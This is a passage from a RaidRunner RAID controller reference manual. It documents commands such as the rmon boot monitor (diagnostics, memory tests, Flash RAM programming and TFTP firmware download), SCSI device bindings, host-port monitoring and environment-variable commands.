    • DESCRIPTION: rm remove the named file (or files). [A directory is considered to be a file.] If all the given files can be removed then NIL (i.e. true) is returned as the status; otherwise the first file name that could not be removed is returned (and this command will continue trying to remove files until the list is exhausted). If the -f option is given, then files that could not be removed are ignored and NIL (i.e. true) is returned as the status.
    • BUGS: The use of rm on non-empty directories orphans those child files.

    13.77 RMON - Power-On Diagnostics and Bootstrap

    • SYNOPSIS
      v1.0

      DRAM: 010 Mb

      Batt: B0000008-B007FFFC

      PWROK 1:BAD 2:OK

      0:720seE 1:720seE 2:720seE 3:720seE 4:720seE 5:720seE 6:770B 7:770B

      S/N: ABC-12345 B

      -
  • DESCRIPTION: rmon will normally perform a power-on diagnostics and then bootstrap the main raid code. By typing a space before the count-down has finished rmon will abort the power-on diagnostics and prompt for a command to be entered from the console serial port.

    • The first line printed by rmon is it's version number. The second line is the size (in hexa-decimal) of DRAM. The next line indicates the type and usage of Battery-Backup SRAM found. This can be a variety of values and if there are two hexa-decimal values printed, this is then the range of inclusive addresses upon which the power-on diagnostics will test Battery Backed-up SRAM. If there is only one value this indicates the size of Battery Backed-up SRAM, but no power-on diagnostics will performed upon it. All possible values are :-

             Batt: 00000000          No Battery Backed-up SRAM present.

             Batt: B0000000-B007FFFC 512Kb SRAM, B0000004==0 (No data).

             Batt: B0000008-B007FFFC 512Kb SRAM, B0000004==1 (No data).

             Batt: B00XXXXX-B007FFFC 512Kb SRAM, B0000004==2 (Saved data,

                                     B0000000==B00XXXXX, where B00XXXXX is

                                     start of unused data).

             Batt: B0080000          512Kb SRAM present, but the contents of

                                     SRAM is not one of the above, or could

                                     be B0000004==2 and B0000000==B0080000.

                                     No pon testing done on it.

             Batt: B0000000-B03FFFFC 4Mb SRAM, B0000004==0 (No data).

             Batt: B0000008-B03FFFFC 4Mb SRAM, B0000004==1 (No data).

             Batt: B0XXXXXX-B03FFFFC 4Mb SRAM, B0000004==2 (Saved data,

                                     B0000000==B0XXXXXX, where B0XXXXXX is

                                     start of unused data).

             Batt: B0400000          4Mb SRAM present, but the contents of

                                     SRAM is not one of the above, or could

                                     be B0000004==2 and B0000000==B0400000.

                                     No pon testing done on it.

    Note the case where location B0000004 has a value of 2 (Saved data present), but where B0000000 (the start of unused data) points to a word address just past the last byte of Battery Backed-up SRAM. This latter case will cause a single value (say B0080000, for 512Kb Battery Backed-up SRAM) to be printed. This case does not indicate that any contents of Battery Backed-up SRAM is deemed incorrect, but that Battery Backed-up SRAM is full of data and that no power-on diagnostics will be performed upon Battery Backed-up SRAM.

    The DRAM memory sizing algorithm will cater for between 8Mb and 256Mb of DRAM, and there need be only 30 bits out of 32 bits words in each DRAM set that need work properly, for the sizing to function properly. The DRAM consists of two banks of memory, A and B, each of two slots. When using a bank of memory both slots of that bank must be occupied with a Simm of the same type and size. If only one bank is to be used, then it must be Bank A. The type of Simm memory may be single or double sided. Placing two double sided Simms (which, as mentioned above must be both the same size) into Bank A is equivalent to populating all four slots with single sided Simms of a size that is exactly one half of the double sided Simms size. The Bank B in such a case cannot contain any Simms. Each bank can potentially be using single sided Simms of different sizes, but the first bank must have the larger sized Simms.

                DRAM Size DRAM last address

                Hex Dec   Cached    Uncached

                008  8    7FFFFF    A07FFFFF

                010  16   FFFFFF    A0FFFFFF

                020  32   1FFFFFF   A1FFFFFF

                040  64   3FFFFFF   A3FFFFFF

                080  128  7FFFFFF   A7FFFFFF

                100  256  FFFFFFF   AFFFFFFF

    On the fourth line is the power supply status. This will be one of two variations. The first for single power supply systems, the power supply summary status is printed at PWROK (for good) or PFAIL if this is not good. The second is for multi-power supply systems, the summary status will be followed by the individual status of each power supply. A PFAIL will be printed if any of the power supplies are faulty. At this point on non-pseudo-static DRAM systems the monitor will hang if the summary status is PFAIL. A pseudo-static DRAM system will never print this line or any of the preceding lines (i.e. version line, DRAM size or Battery Backed-up SRAM size) and always immediately hang.

    On the fifth line is summary of the SCSI chips used in the system. Each item in this report consists of the index No. for that chip (from 0 to 7), followed by a ':' then a string of text indicating the model. This model consisting of it's chip type and revision level. A summary of the known part No.s vs the model is :-

                                      Bits 7 to 4 of

                 Model    Part No.    MACNTL CTEST3

                  720B   609-0391071   0000   0001

                  720C   609-0391324   0000   0010

                  720E   609-0391955   0000   0100

                720seE   609-0391949   0001   0100

                  770A   609-0392179   0010   0000

                  770B   609-0392393   0010   0001

    There maybe a sixth indicating the serial number of the unit. If the last 12 bytes of the FlashRam boot partition is left in an unblown state (all ones), then this line will not be appear. Otherwise these last 12 bytes will be printed. These 12 bytes may include trailing blanks. The four bytes of FlashRam preceding the serial no. contain 26 bits representing the revision level of the board. If any of these bits are cleared and there is a serial no. present then the revision level from A to Z will be printed.

    After printing the above configuration information, the DRAM and Battery Backed-up SRAM (if any found), will have a Knaizuk-Hartmann memory test performed upon them. This memory test does a quick non-exhaustive check for stuck-at faults in both the address lines as well as the data locations. This test is disabled on the following conditions :-

  • If the upper 17 bits of first location, contain the hex bit pattern 0x3C1A0000 and there are no parity errors on thence reading all of the rest of DRAM. Such a condition will result in the code starting at the first location to subsequently executed.
  • If no DRAM is found. The monitor will not autoboot the main raid code, but print a monitor prompt and wait for a monitor command (see below).

    • By typing a space, any memory tests that may have been started will be aborted. The monitor will print a prompt and wait for a monitor command (see below).

    All other conditions will result in the main raid code to be read from FlashRam and started. Whilst the memory test is in progress a sequence of -, /, | and characters are printed on the console giving the appearance of a rotating bar. On-board LED 1 will be flashed every 10ms and LED 2 will change state between each phase of the test. As noted above these tests can be abort by typing a space on the console. When rmon is in command mode a variety of commands may be issued. These mostly relate to various diagnostics that can be performed, or to how flash RAM may be upgraded with new firmware.

    • GENERAL COMMANDS: All values and addresses used in the monitor are to be in hexadecimal. Commands must start at the beginning of a line and are case sensitive. Commands must be separated by semi-colons ';' or a newline. If a command syntax error occurs, then that command's usage line will be printed. If a command (e.g. command_name) is not recognized, the message unknown command: command_name will be printed. Note that any command that attempts to modify regions of memory that are occupied by the monitor will cause unpredictable results. Currently the monitor uses locations from CPU addresses 801E0000 to 801FFFFF inclusive.
    • ?: This command, will print out a summary of the more generally useful commands available in the monitor.
    • { some comment }: will ignore all text from the leading open-brace to the first closing - brace. This allows you to comment your monitor scripts (set of monitor commands) prior to downloading. Please NOTE that comments cannot be nested, that is there can only be one opening-brace and closing-brace on a line.
    • * count commands ...: will repeat all commands up to the newline count times.
    • ( commands ): will execute the sequence of commands from the opening parentheses to the closing parentheses (or new- line) as though they were on a line by themselves. For example to nest repeat (*) commands one could enter the line
      * 20 (* 8 pb 5F 0); (* 10 pb 6F 1)

    which will put the byte 0 into memory location 5F eight times, then put the byte 1 into memory location 6F ten times, and repeat both these put byte commands 20 times. Thus the location 5F will have the byte value 0 written into it a total of 160 times and the location 6F will have the byte value 1 writ- ten into it a total of 200 times.

  • b: The command will boot the main raid code.
  • ba: The command will auto-boot the main raid code, as if from power up.
  • g <address>: Go to (jump to) a code address and start execution at that address.
  • l: Download a program or data over the serial port. The data is expected in Motorola Packed S format. If an error occurs during download then the message Unrecoverable error in S-format loader.
  • lg: Download a program over the serial port and commence execution of the program. The program data is expected in Motorola Packed S format. After the data or program has been downloaded successfully, then commence execution at the load address (specified within the downloaded file). If an error occurs during download then the message "Unrecoverable error in S-format loader". will be printed and the program will not be executed.
    • MEMORY COMMANDS: The following commands are used to display, change or test memory. Most of these commands have three forms depending on the size of memory access. These forms are - a byte form (8-bit), a short word form (16-bit) and long word form (32-bit). When using the short or long word form, any addresses used must be short word (16-bit) or long word (32-bit) aligned. If an unaligned address is given, the error message
      cmd: bad address alignment

    • is printed. To differentiate between the three forms of memory access, the suffixes b, w and l are used for byte, short word and long word respectively.

  • db|dw|dl start_address [end_address]: These commands display the contents of the specified memory location or memory range. Memory can be displayed in byte, short word or long word sizes using the db, dw and dl commands respectively. If no ending address is given, then only the contents of the first address is displayed. Each line of output from these commands have the format: address: contents contents .... contents. Where up to 16 bytes are printed on each line. For example
    {rmon} db 60 7F

    00000060: A0 9F 9E 9D 9C 9B 9A 99 98 97 96 95 94 93 92 91

    00000070: 90 8F 8E 8D 8C 8B 8A 89 88 87 86 85 84 83 82 81

    {rmon} dw 60 7F

    00000060: FFA0 FF9E FF9C FF9A FF98 FF96 FF94 FF92

    00000070: FF90 FF8E FF8C FF8A FF88 FF86 FF84 FF82

    {rmon} dl 60 7F

    00000060: FFFFFFA0 FFFFFF9C FFFFFF98 FFFFFF94

    00000070: FFFFFF90 FFFFFF8C FFFFFF88 FFFFFF84
  • pb|pw|pl address value ....: These commands put the given value(s) into the specified memory location. Memory can be addressed in byte, short word or long word sizes using the pb, pw and pl commands respectively. If more than one value is given, then the first value is put into the specified memory location, the next value is put into the next aligned memory location, and so forth. For example, the commands
    {rmon} pb 60 1 2

    {rmon} pw 70 04F2 002F

    {rmon} pl 80 8000FF04 8000FF0F 80FFFFFF

    • will put the value 01 into location 00000060 and 02 into the location 00000061, put the value 04F2 into location 00000070 and 002F into location 00000072, and put the value 8000FF04 into location 00000080, 8000FF0F into location 00000084 and 80FFFFFF into location 00000088 respectively

  • fb|fw|fl start_address end_address value: These commands fill the memory given by the start and end address with the given value. Memory can be addressed in byte, short word or long word sizes using the fb, fw and fl commands respectively. The start and ending addresses must be aligned to the given memory sizes. For example, the commands
    {rmon} fb 60 70 8F

    {rmon} fw 60 70 FF8F

    {rmon} fl 80 90 00FFFF11

    • will put the value 8F into all bytes (inclusive) between locations 00000060 and 00000070, put the value FF8F into all short words (inclusive) between locations 00000060 00000070, and put the value 00FFFF11 into all long words (inclusive) between locations 00000080 and 00000090.

  • sb|sw|sl start_address end_address value: These commands search the memory given by the start and end addresses for the first occurrence of the given value and will print out the address where the value was found and the value. If the given value is not found, then nothing will be printed. Memory can be addressed in byte, short word or long word sizes using the sb, sw and sl commands respectively.
  • cb|cw|cl start_address end_address value: These commands compare successive memory locations given by the start and end addresses with the given value and will print out the address and it's contents of the end_address, if all the memory was the same, or the address of the first location where the value was different to the given value along with the different value. Memory can be addressed in byte, short word or long word sizes using the cb, cw and cl commands respectively.
  • tb|tw|tl start_address end_address seed: These commands generate pseudo-random values and store these values in successive memory locations given by the start and end addresses. When all the memory has been filled, the memory is read and it's contents is compared with what was written. Memory can be addressed in byte, short word or long word sizes using the tb, tw and tl commands respectively. The given seed will initialize the pseudo-random number generator. If successive executions of this command use the same seed, then the random values will always be the same. When the random values are being written, a dot ('.') will be printed for each location. When the read is being performed, a dot ('.') will be printed if the data equals what was written, else an 'X' will be printed. For example
    {rmon} tw 60 70 7B

    Writing:

    Checking:

    {rmon}
  • m start_address end_address mask: This command will run low level memory tests on the given memory range. The start and end addresses must be long word aligned. If the test passes the message Passed. will be printed, and if it fails the message Failed. will be printed. The given mask will determine what type of tests are run. The table below shows what each mask will do. The tests essentially write to memory and then read from memory comparing what was read with what was written. The first twelve tests below first write to all the memory specified and then reads all the memory specified, the next twelve tests do an immediate read after the write. The masks can be or'd together to run multiple tests.
    0x0001         Fill each byte with 0x00

    0x0002         Fill each byte with 0xFF

    0x0004         Fill alternate bytes with 0x55 then 0xAA

    0x0008         Fill each byte with the two's complement of it's address

    0x0010         Fill each word with 0x0000

    0x0020         Fill each word with 0xFFFF

    0x0040         Fill alternate words with 0x5555 then 0xAAAA

    0x0080         Fill each word with the two's complement of it's address

    0x0100         Fill each long word with 0x00000000

    0x0200         Fill each long word with 0xFFFFFFFF

    0x0400         Fill alternate long words with 0x55555555 then 0xAAAAAAAA

    0x0800         Fill each long word with the two's complement of it's address

    0x0001000      Fill each byte with 0x00

    0x0002000      Fill each byte with 0xFF

    0x0004000      Fill alternate bytes with 0x55 then 0xAA

    0x0008000      Fill each byte with the two's complement of it's address

    0x0010000      Fill each word with 0x0000

    0x0020000      Fill each word with 0xFFFF

    0x0040000      Fill alternate words with 0x5555 then 0xAAAA

    0x0080000      Fill each word with the two's complement of it's address

    0x0100000      Fill each long word with 0x00000000

    0x0200000      Fill each long word with 0xFFFFFFFF

    0x0400000      Fill alternate long words with 0x55555555 then 0xAAAAAAAA

    0x0800000      Fill each long word with the two's complement of it's address

    0x1000000      Fill alternate long words with 0x00000000 then 0xFFFFFFFF
  • r start_address end_address read_size:: This command will generate and print a 32-bit Cyclic-Redundancy-Check value for the block of memory extending from start_address to end_address using reads of the size specified by read_size which can either be 1, 2 or 4 for byte, word or long word reads respectively. The start and end addresses must be long word aligned.
  • FLASH MEMORY COMMANDS: The Flash RAM used is AMD's Am29F040, a 4Mb (512k x 8bit) device that is comprised of 8 equi-sized sectors with each sector of 64Kb. The board may potentially have a second Flash RAM chip. The total storage, regardless of the number of Flash RAM chips is divided into 4 regions, the first 3 are each 1 (64kB) sector and contain the Bootstrap, Raid Configuration and Husky Scripts at the CPU addresses of BFC00000, BFC10000 and BFC20000 respectively. The Main region contains 5 64Kb sectors (starting at BFC30000) and optionally all 8 64Kb sectors of the second FLASHram (starting at BFC80000). If this second chip is present there is then a total of 13 64Kb sectors for the main raid code. The Manufacture ID and Device ID for the AMD Am29F040 is 01 and A4 respectively. Thus the text "Flash: 01A4" is printed on either of the E command or the W command accessing this device. Attempting to erase or write to the Boot sector will always cause an "Illegal Flash RAM address range".
    • E sector_address: An entire region can be bulk erased by the 'E' command by specifying an address in that region, the main region will erase all sectors starting with that sector containing the nominated address and erase to the end of that region, but not crossing a chip boundary. Thus the 'E BFC40000' command will erase the last 4 sectors of the first chip. The 'E BFC30000; E BFC8000' commands will erase the last 5 sectors of the first chip and then erase the entire second Flash RAM chip (if it is present). Attempting to erase a non-existent second chip cannot report an error, however a negative number is printed to indicate other errors, as described in the following table.
      Error                 Fault Description

      -1                    Illegal Flash RAM address range.

      -2                    A sector within given range that is Write Protected.
    • W sector_address source_address byte_count: This command will copy byte_count bytes of data from source_address to EEPROM locations starting at sector_address. The number of bytes copied or on error, a negative number will be printed. The negative error numbers are described in the table below. Optionally a W command may appear without any arguments, in this case the sector_address will be that specified by a previous E command and the source_address and byte_count will be that given to and that printed by, respectively, a previous T command (see below). This command, unlike the E command, will modify the contents of the second Flash RAM chip, if it is implied by sector_address plus byte_count being equal or greater than the CPU address BFC80000. An attempt to write with a byte_count of 0 is not an error, and will cause only the Manufacturer and Device ID to be printed.
      Error                 Fault Description

      -1                    Illegal Flash RAM address range

      -2                    A sector within the address range that is Write Protected

      -3                    On a failed Byte Program command
  • NETWORK COMMANDS: The second RS232 port on the RaidRunner can be used to download programs and data into memory from a host. This port can run the TCP/IP SLIP protocol and the Trivial File Transfer Protocol (TFTP) is available for file transfer. Three variable are available to effect download file transfers from a remote host. These are the remote host IP address, the local IP address (of the RaidRunner) and the name of the file on the remote host that is to be downloaded. These variables have default values of C02BC60E (192.43.198.14), C02BC6FD (192.43.198.253) and /usr/raid/lib/raid.bin where are the remote host IP address, local IP address and remote host's file to down- load respectively. These default values are dynamic in that, if you change them, they will revert back to their default values at power-on or whenever the boot monitor is started. The following commands manage these variables and file transfers.
    • A [remote_ip_address [local_ip_address]]: With no arguments, this command prints, in hexadecimal, the dynamic remote and local IP addresses used by TFTP and SLIP. To change the remote IP address, execute this command with only one argument - the IP address (in hexadecimal) of the remote host. To change the local IP address (of the RaidRunner), the execute this command with two arguments, the first being the IP address of the remote host and the second being the IP address of the RaidRunner. Remember both addresses must be in hexadecimal.
    • F [filename]: With no arguments, this command prints the filename of the file to download from the remote host. To change the filename, specify it as the argument to this command. Remember, the permissions on this file on the remote machine, must be set to allow remote TFTP access by the RaidRunner.
    • P: This command will ping (send an ICMP ECHO request packet and time the response) the remote internet host. If the remote host responds, the message
      Sending echo request...

      Got response after 0x0000nn ms

    • will be printed. nn is the number of milliseconds it took for the remote host to respond. If the remote host does not respond within 10 seconds, the message

    Sending echo request...

    timeout after 10 seconds

    will be printed.

  • T start_address end_address: This command will transfer from the remote host the stored filename into a block of memory starting at
  • start_address and limited to end_address. The number of bytes that will be transferred will be either the size of the remote file or the value computed by end_address - start_address + 1, whichever is the lessor. Whilst the data is being transferred, a dot ('.') will be printed for each packet of data transferred. At the end of a successful transfer, the number of bytes transferred will be printed. If the transfer fails, an appropriate error message will be printed.

    • The following two examples show the transfer of the raid binary and the transfer of the RaidRunner's /bin directory from a remote host. The remote host's IP address is 192.43.198.101 (C02BC665), the RaidRunner's IP address is 192.43.198.200 (C02BC6C8) and the two files concerned will be /usr/raid/lib/raid.bin and /usr/raid/lib/raid.rc (raid binary and /bin directory respectively). The raid.bin file will be written into the bank of flash ram starting at address bfc10000 and the raid.rc file will be written into the two consecutive banks of flash ram at address bfc08000 and bfc0c000.

    {rmon} {first transfer the raid binary - /usr/raid/lib/raid.bin}

    {rmon} F /usr/raid/lib/raid.bin

    {rmon} A C02BC665 C02BC6C8

    {rmon} P

    Sending echo request...

    Got response after 0x000013 ms

    {rmon} T 80300000 803fffff

    {rmon} E bfc10000; {erase the Flash EEPROM address for raid.bin
 to be stored}

    **

    70000

    {rmon} W bfc10000 80300000 5BDA0; {copy downloaded raid.bin
 into flash}

    5BDA0

    {rmon}

    {rmon} {now transfer the raid /bin directory - /usr/raid/lib/raid.rc}

    {rmon} F /usr/raid/lib/raid.rc

    {rmon} A C02BC665 C02BC6C8

    {rmon} P

    Sending echo request...

    Got response after 0x000013 ms

    {rmon} T 80300000 803fffff

    {rmon} E bfc08000; {erase the two consecutive blocks of
 flash ram where raid.rc}

    4000

    {rmon} E bfc0c000; {is to be stored}

    4000

    {rmon} W bfc08000 80300000 4000; {copy the first 0x4000
 bytes}

    4000

    {rmon} W bfc0c000 80304000 4000; {copy the next 0x4000 bytes}

    4000

    {rmon}
  • Sno ABC-12345: Prints / sets the serial number. Without an argument the current serial number will be printed, if no serial number has been set then nothing is printed. If there any trailing characters after 'Sno' command, then this will indicate that these characters are to be set permanently as a serial number. A serial number may only be set once, there after any attempt to set another one will be ignored and the current serial number printed. If the serial number has to be re-set then the flashram needs to be reblown as if it were brand new. Note that when setting the the serial number for the first time, the exact format of the command is very important. There will be exactly one space after the the command 'Sno', after which the next 12 printable characters are taken as the serial number. If there are less than 12 characters (before the carriage return), then blank characters are padded on the right-hand side.

    • It is suggested that a serial number be no greater than 10 characters and consist of upper case letters, decimal digits and only a limited number of special characters such as '-' or '.' characters. The main raid code will truncate the serial number to 10 characters if a revision level is present. The main raid code will, if the revision level is present, append the revision level immediately after the serial number and present the combined string as the serial number in an inquiry command.

  • Rev A: Prints / sets the board revision level. Without an argument the current revision level will be printed as an upper case letter (from 'A' to 'Z'). If immediately following the 'Rev' command there is a space and a single upper case letter then this will indicate that this revision level is to set permanently. The revision level can be increased (e.g. from 'A' to 'B' to 'C' etc.), but can not ever be decreased.
  • DIAGNOSTICS:

    • x000 General form of a diagnostic command it that is it preceded by an x and then immediately followed by a hexi-decimal no. Most diagnostics will loop permanently requiring a power off/on cycle to stop the diagnostic.

  • x000 chip: Will continually assert / de-assert most SCSI bus signals. These include DB0-15, I/O, REQ, C/D, SEL, MSG, RST, ACK, BSY, ATN. The DP0 and DP1 (i.e. parity bits) can not be assert / de-asserted in this fashion.
  • x001 chip: Will continually assert / de-assert most SCSI bus signals in such a fashion as to indicate the number of the SCA connector that this pin would be connected to. This count is w.r.t. to the LED1 and LED2 when used to trigger a scope (on the falling edge). Each complete group of ten counts are coalesced to facilitate counting on a scope. The counts are:-
    7  - DB11       14 - SEL         21 - DB7        28 - DB0

    8  - DB10       15 - MSG         22 - DB6        29 - DP1 (*2)

    9  - DB9        16 - RST (*1)    23 - DB5        30 - DB15

    10 - DB8        17 - ACK         24 - DB4        31 - DB14

    11 - I/O        18 - BSY         25 - DB3        32 - DB13

    12 - REQ        19 - ATN         26 - DB2        33 - DB12

    13 - C/D        20 - DP0 (*2)    27 - DB1

    • Note that the RST line (marked *1 above) is pulsed only once after the last pin is pulsed (i.e after DB12) and that the parity lines (marked as *2 above) can not be pulsed.

  • x002 dst_addr src_addr length: Calls the C library routine memcpy with three arguments of destination address, source address and length (all in hex).
  • x003 200000 ffffff and x004 200000 ffffff: Two commands are used to exercise Battery Backed-up DRAM. The x003 command will set the memory range as suggested above. The value of 200000 is one location past the last used flash monitor memory location, ffffff is the last memory location of 8Mb of DRAM (this latter figure can be varied according to available DRAM memory). The DRAM starting at 0 will be modified to contain :-
    00: 0x3C1A9FC0   [ lui k0,0x9fc0 ]

    04: 0x3C1B3C1A   [ lui k1,0x3c1a ]

    08: 0xAC1B0000   [ sw  k1,(zero) ]

    0C: 0x3C01A000   [ lui at,0xa000 ]

    • Location 0 is the start of the restart pseudo interrupt handler. The x004 command is then used after restoring power to check for this bit pattern. It is important that the arguments given to x003 are exactly the same as those given to x004. Any words detected that are different are printed, if there are no differences then nothing (but the next prompt) is printed.

    • NOTE: As a side effect of the above executing the above restart pseudo interrupt handler on restoring power, location 0 will be patched with 0x3C1A0000 to prevent memory tests and autobooting the main raid code. This feature can be re-enabled by depositing 0 into location 0 (i.e `pl 0 0`).

    13.78 RRSTRACE - disassemble scsihpmtr monitor data

    • SYNOPSIS: rrstrace -f monitor_file [-b bcnt] [-v]
    • DESCRIPTION: rrstrace will disassemble the monitoring data collected by scsihpmtr which has been transferred to a host via ssmon. rrstrace will additionally analyze all scsi reads and look for sequences of reads and report them. This repeating sequence is referred to as a 'natural read'. This data can be then used for a more optimal configuration of the raid. The natural reads are reported via a starting block size followed by the total length (in blocks) of the natural read, how many reads made up the natural read and finally how many times it occurred. At the end the number of natural reads found are printed along with how many were looked for and how many actually existed. By default up to 256 different natural reads can be scanned for, but if more are required then the -b bcnt option can be given to allocate a deeper search. Note that a natural read that occurs only once is recorded but not printed out.
    • OPTIONS:
      • -f monitor_file: Specify the name of the file from which the data is to be read
      • -b bcnt: Specify a larger natural read analysis count
      • -v: Turn on verbose mode and hence print out every scsi instruction. In verbose mode, each line of output from rrstrace is of the form time chipno lun ssid msg_id tag command, where:
        • time: is the time the command occurred
        • chipno: is the chip number (hostport) upon which the command came in
        • lun: is the target lun the command was directed to
        • ssid: is the scsi id of the initiator (i.e host)
        • msg_id: is the scsi message id of the command
        • tag : is the scsi tag number of the command or -1 if no tag is associated
        • command: is the scsi command itself in text or if unknown to rrstrace the 12 byte scsi command block will be printed. In the case of read and write commands, the block address and length is printed along with the block address of the next sequential read/write command if the next command were to be sequential (this address is parenthesized). If the command has the 'Force Unit Access' bit set, then FUA is appended to the line. The scsi Read_6, Write_6, Read_10 and Write_10 commands will be printed as R6, W6, R10 and W10 respectively.
    • SEE ALSO: ssmon, scsihpmtr

    13.79 RSIZE - estimate the memory usage for a given raid set

    • SYNOPSIS: rsize type cachesize iosize nbackends
    • DESCRIPTION: rsize prints an estimate of the amount of memory (in bytes) a running raid set will use, given the raid set type, the amount of cache allocated to it, the raid set iosize and the number of backends in the raid set.
    • SEE ALSO: rconf

    13.80 SCN2681 - access a scn2681 (serial IO device) as console

    • SYNOPSIS: bind -k {scn2681 [ value ]} bind_point
    • DESCRIPTION: scn2681 allows the target hardware using the SCN2681 serial IO chip to be accessed via the bind_point in the K9 namespace. If no optional argument is given channel A in the chip is used. If value is 0 then channel A (serial port) is used. If value is 1 then channel B (serial port) is used. If value is 2 then the input port (parallel) is used. If value is 3 then the output port (parallel) is used. The special file scn2681 is only available when the target is special hardware (containing a SCN2681).
    • SEE ALSO: cons

    13.81 SCSICHIPS - print various details about a controller's scsi chips

    • SYNOPSIS: scsichips
    • DESCRIPTION: scsichips prints details about the RaidRunner scsi chips.
    • OPTIONS: Three sets of numbers are printed. The first two numbers are the number of hostports (chips) and the number of backend channels (chips). The rest of the numbers printed are the hostport then backend channel chip indexes. The chip addresses can be used in binding them to a entrypoint in the kernel.
    • EXAMPLES: For a RaidRunner controller with one hostport and six backend channels scsichips will print
      1 6 6 0 1 2 3 4 5

    which says that there is 1 hostport chip, 6 backend channels, the address of the hostport chip is 6 and the addresses of the backend channel chips are 0, 1, 2, 3, 4 and 5.

    For a RaidRunner controller with two hostports and six backend channels scsichips will print

    2 6 6 7 0 1 2 3 4 5

    which says that there are 2 hostport chips, 6 backend channels, the addresses of the hostport chips are 6 and 7 and the addresses of the backend channel chips are 0, 1, 2, 3, 4 and 5.

    • SEE ALSO: hwconf, scsihpfs, scsihdfs

    13.82 SCSIHD - SCSI hard disk device (a SCSI initiator)

    • SYNOPSIS
      bind -k {scsihd chipNumber scsiTargetId

      [scsiTargetLUN]} bind_point

      cat bind_point

      ctl

      raw

      partition

      data

      rconfig
  • DESCRIPTION: scsihd is a SCSI hard disk device. In SCSI jargon it is called the "initiator" while the disk it is talking to is referred to as the "target". The disk is known in SCSI as a "direct access device". Currently this device adopts the SCSI id 7 and attempts to access a disk with a SCSI id of scsiTargetId. The "logical unit number" (LUN) within the scsiTargetId that is accessed is scsiTargetLUN (or LUN 0 if not given). Multiple SCSI buses are supported (with typically one device per bus) and are distinguished by the chipNumber.

    • The SCSI disk device is bound into the namespace at bind_point. A one level directory is made at the bind_point containing the files: "raw", "data", "partition", "rconfig" and "ctl". The "partition" file is a small portion at the end of the disk used for storing partition information (in plain ASCII). The "ctl" and "rconfig" files are for internal RaidRunner use. (The "rconfig" file will be a backup copy of the RaidRunner configuration area). The "data" file is the usable part (i.e. the vast majority) of the space available on the SCSI disk connected to the SCSI bus on which this device is an initiator. The file "raw" addresses the whole disk less the partition block.

    The current raid hardware has six fast wide SCSI-2 buses numbered 0 to 5 and two fast wide buses num- bered 6 and 7. Usually the first six fast wide SCSI-2 buses are set up as initiators (i.e. bind scsihd) while the two fast wide SCSI buses are set up as targets (i.e. bind scsihp).

    Current implementations make the device name hd synonymous with scsihd. Therefore:

    bind -k {hd chipNumber scsiTargetId

    [scsiTargetLUN]} bind_point has the same effect as the similar line in the synopsis.

    • SEE ALSO: scsihp

    13.83 SCSIHP - SCSI target device

    • SYNOPSIS
      bind -k {scsihp chipNumber scsiid} bind_point

      cat bind_point

      scsiid         # this device's scsi id

      cat bind_point/scsiid

      0

      ...      # this device's LUN within SCSI id scsiid

      7

      cat bind_point/scsiid/0

      data      # scsi data channel for SCSI id scsiid LUN 0

      cmnd      # scsi command channel for SCSI id scsiid LUN 0
  • DESCRIPTION: scsihp is a SCSI target device. A "target" in SCSI jargon performs commands issued by an "initiator" which is usually a general purpose computer. Normally a SCSI target is an integral part of a "direct access device" (i.e. a disk) but in a raid, the controller needs to look like a target to external users. Multiple SCSI buses are supported (with typically one device per bus) and are distinguished by the chipNumber.

    • The SCSI target device is bound into the namespace at bind_point. A three level directory is made at the bind_point. The first level is the SCSI id (as specified by scsiid) for this device. The second level is the LUN within that scsi id. The third level contains the files: "data" and "cmnd" which are used for SCSI data phases and command/status phases respectively.

    A scsi target command interpreter called stargd is designed to "mate" with this device.

    The current raid hardware has six fast narrow SCSI buses numbered 0 to 5 and two fast wide buses num- bered 6 and 7. Usually the six fast narrow SCSI buses are set up as initiators (i.e. bind scsihd) while the two fast wide SCSI buses are set up as targets (i.e. bind scsihp).

    • SEE ALSO: scsihd, stargd

    13.84 SET - set (or clear) an environment variable

    • SYNOPSIS
      • set name
      • set name value ...
    • DESCRIPTION: set allows the value (or list of values) associated with an environment variable to be changed. When no value is given then the environment variable name has its value set to NIL. When one value is given then the environment variable name is set to that value. When multiple values are given then the environment variable name is set to that list of values.
    • NOTE: set is a "built-in" in the Husky shell. This means a new shell is _not_ thrown to execute this command unless some other action forces it. Setting an environment variable in a sub-shell has no effect once the sub shell exits to its parent shell. This is why throwing a sub-shell to execute set would be pointless. Operations such as command substitution (i.e. `set ...') and command line file redirection force a command to be executed in a sub-shell and hence defeat the purpose of set. Hence the set command (or at least "built-in") should appear in a simple expression to avoid surprises.

    13.85 SCSIHPMTR - turn on host port debugging

    • SYNOPSIS:
      • scsihpmtr -c portnumber storage_size
      • scsihpmtr -b
      • scsihpmtr -d
      • scsihpmtr -e
      • scsihpmtr -p count
      • scsihpmtr -r
      • scsihpmtr -w
    • DESCRIPTION: scsihpmtr, if enabled in the RaidRunner kernel, will create a volatile internal store and save details of all scsi commands which come in on a specified host port or set of host ports. This data can then be uploaded to the host via the scsi monitor (ssmon) and analyzed as appropriate.
    • OPTIONS:
      • -c portnumber storage_size: Specify and allocate a volatile storage area of storage_size bytes and monitor and save all scsi commands that appear on the given portnumber. The portnumber is the chip number of the host port on the raid controller. If you specify a port number of 8, then all host ports will be monitored.
      • -b: Perform natural read analysis for use in possible reconfiguration of RaidRunner.
      • -d: Delete any volatile storage containing monitored data and hence stop monitoring.
      • -e: Temporarily disable the monitoring (and hence storage) of scsi commands. Monitoring must be disabled BEFORE uploading the monitored data to the host via ssmon.
      • -p count: Print out both details of what is being monitored and the first count stored scsi commands. The details printed are the total number of commands that can be recorded, the current number of recorded commands, the current monitoring state (0 disabled, 1 enabled) and the monitored host port number. Each line of scsi commands printed will time the command occurred a hex word containing lower 3 bits the chip number (hostport) the command was on next 3 bits the scsi id of the command initiator (i.e host) next byte is the scsi message id of the command next two bytes is the scsi tag number of the command a 12 byte scsi command header block
      • -r: Reset the monitoring of scsi commands. This will cause all previously monitored data to be lost.
      • -s: Re-enable the monitoring (and hence storage) of scsi commands.
      • -w: Enable wrap around mode. By default, scsihpmtr will stop recording scsi commands once it has used all the storage area allocated. If wrap around mode is enable, then scsi commands will continue to be recorded, wrapping round the storage area.
    • SEE ALSO: smon, ssmon, SCSI Standards for formats of scsi commands.

    13.86 SETENV - set a GLOBAL environment variable

    • SYNOPSIS: setenv name value ...
    • DESCRIPTION: setenv allows the value (or list of values) associated with a GLOBAL environment variable to be changed (or created). When one value is given then the GLOBAL environment variable name is set to that value. When multiple values are given then the GLOBAL environment variable name is set to that list of values.
